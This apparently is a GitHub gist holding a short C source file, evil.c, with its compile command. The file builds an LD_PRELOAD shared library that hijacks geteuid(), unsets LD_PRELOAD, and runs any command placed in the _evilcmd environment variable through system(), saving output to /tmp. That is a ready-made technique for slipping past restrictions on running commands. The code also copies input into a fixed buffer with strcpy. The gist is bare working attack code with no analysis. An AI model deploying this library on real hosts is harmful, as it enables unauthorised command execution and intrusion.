Created
January 21, 2019 11:41
-
-
Save tarunkant/d44c29402eef9b6fa399876f6e73b607 to your computer and use it in GitHub Desktop.
Revisions
-
tarunkant created this gist
Jan 21, 2019 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,22 @@ /* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */ #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/_0utput.txt"); system(buf); } int geteuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }